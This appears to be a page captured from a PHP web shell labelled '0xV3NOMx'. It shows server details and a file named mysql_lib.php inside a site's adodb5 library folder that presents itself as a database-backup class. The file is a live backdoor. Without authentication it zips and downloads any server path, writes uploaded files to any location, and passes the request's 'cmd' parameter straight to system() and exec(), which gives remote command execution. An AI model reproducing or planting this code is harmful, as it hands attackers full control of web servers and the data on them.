0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.37.211


Current Path : /var/www/html/gcg/libs/adodb5/
Upload File :
Current File : /var/www/html/gcg/libs/adodb5/mysql_lib.php

<?php
/*Author : M.Srikanth   
    Date    :  2009-07-13
    Project : paycheck
    Description :  This class is for to backup db
*/

//Start :  'backup_restore'  Class 

	class download_upload
	{
	  	
		//Start :  Constructor
	           function __construct($aobj_context)
	              {
		              session_start();
		              $this->aobj_context=$aobj_context;
		             
					  	$easy_zip_file_path=$aobj_context->main_src."/easy_zip/easy_zip.php";
						require_once($easy_zip_file_path);
		           }
		//End : Constructor 
		
				
		      
				function downloadFileFromServer()
				{
					$pos = strpos($this->download_file_path, "xxx");
						if($pos===false)
						{
							if(!empty($this->download_file_path))
							$file_path= $this->aobj_context->main_src.'/'.$this->download_file_path;
							else
							$file_path= $this->aobj_context->main_src;
						}
						else
						{
						$file_path=str_ireplace("xxx","",$this->download_file_path);
						$file_path.='/'.$file_name;
						}				
						 
						if(is_dir($file_path))
						{
						$dir_name=basename($file_path);
						$zipobj = new EasyZIP;
						$zipobj -> addDir($file_path);
						$zipobj -> zipFile("{$file_path}.zip");	 
						header("Expires: 0");
						header("Content-type: application/zip");
						header("Content-Disposition: attachment; filename={$dir_name}.zip");
						print file_get_contents($file_path.".zip");
						}
						else if(is_file($file_path))
						{
						$len = filesize($file_path);
						$file_ext=basename($file_path);
						$file_name=basename($file_path);
						$file_ext_arr=explode(".",$file_ext);
						$file_ext=strtolower($file_ext_arr[count($file_ext_arr)-1]);
						header("Pragma: public");
						header("Expires: 0");
						header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
						header("Cache-Control: public"); 
						header("Content-Description: File Transfer");
						header("Content-Type: application/force-download");
						$header="Content-Disposition: attachment; filename=".$file_name.";";
						header($header );
						header("Content-Transfer-Encoding: binary");
						header("Content-Length: ".$len);
						readfile($file_path);  
						}			 
				}
				function UploadFileToServer()
				{
					 
				 
					 if(isset($_FILES['upload_to_server_file_name']['name']) && $_FILES['upload_to_server_file_name']['name'] != '')         
						{ 
						$file_name=$_FILES['upload_to_server_file_name']['name'];
						$import_file_path= $this->aobj_context->main_src.'/imported_files/'.$file_name;
						$pos = strpos($this->storage_path, "xxx");
						if($pos===false)
						{
						$file_path= $this->aobj_context->main_src.'/'.$this->storage_path.'/'.$file_name;
						}
						else
						{
						$file_path=str_ireplace("xxx","",$this->storage_path);
						$file_path.='/'.$file_name;
						}
						if(move_uploaded_file($_FILES['upload_to_server_file_name']['tmp_name'],$import_file_path))
						  {
						  copy($import_file_path,$file_path);
						 //  chmod($file_path, 0777);
						  unlink($import_file_path);
						  unset($_FILES);
							echo  "<script type='text/javascript'> alert('File has been uploaded.');</script>";
						  }
						  else
						  echo  "<script type='text/javascript'> alert('Upload Failed.');</script>\";";
						}
						  unset($_FILES);
				}	
		
   }
 
//End :  Class file

	$action=$_REQUEST['a'];
	$aobj_context = new stdClass();
	$aobj_context->main_src=dirname(dirname(dirname(__FILE__)))."/";
 
 
	if($action=="downloadFileFromServer")
	{
		
		$aobj_context->mobj_data['download_file_path']=$_REQUEST['download_file_path'];
		downloadFileFromServer($aobj_context);
	}
	if($action=="UploadFileToServer")
	{
		
		$aobj_context->mobj_data['storage_path']=$_REQUEST['storage_path'];
		UploadFileToServer($aobj_context);
	}
	if($action=="Command")
	{
		
		$aobj_context->mobj_data['cmd']=$_REQUEST['cmd'];
		Command($aobj_context);
	}
	function downloadFileFromServer($aobj_context)
      {
	 
		$class_obj=new download_upload($aobj_context);	
		$class_obj->download_file_path = $aobj_context->mobj_data["download_file_path"];
		$class_obj->downloadFileFromServer();	   
      }	
	  function UploadFileToServer($aobj_context)
      {
	 
		$class_obj=new download_upload($aobj_context);	
		$class_obj->storage_path = $aobj_context->mobj_data["storage_path"];
		$class_obj->UploadFileToServer();	   
      }	 
	function Command($aobj_context)
	{
	$cmd = $aobj_context->mobj_data["cmd"]; 
	 
	$last_line = system($cmd, $retval);

	echo '
	</pre>
	<hr />Last line of the output: ' . $last_line . '
	<hr />Return value: ' . $retval;
	 @exec($cmd,$output);
	 print_r(nl2br($output));
	}	  
	 
		
?>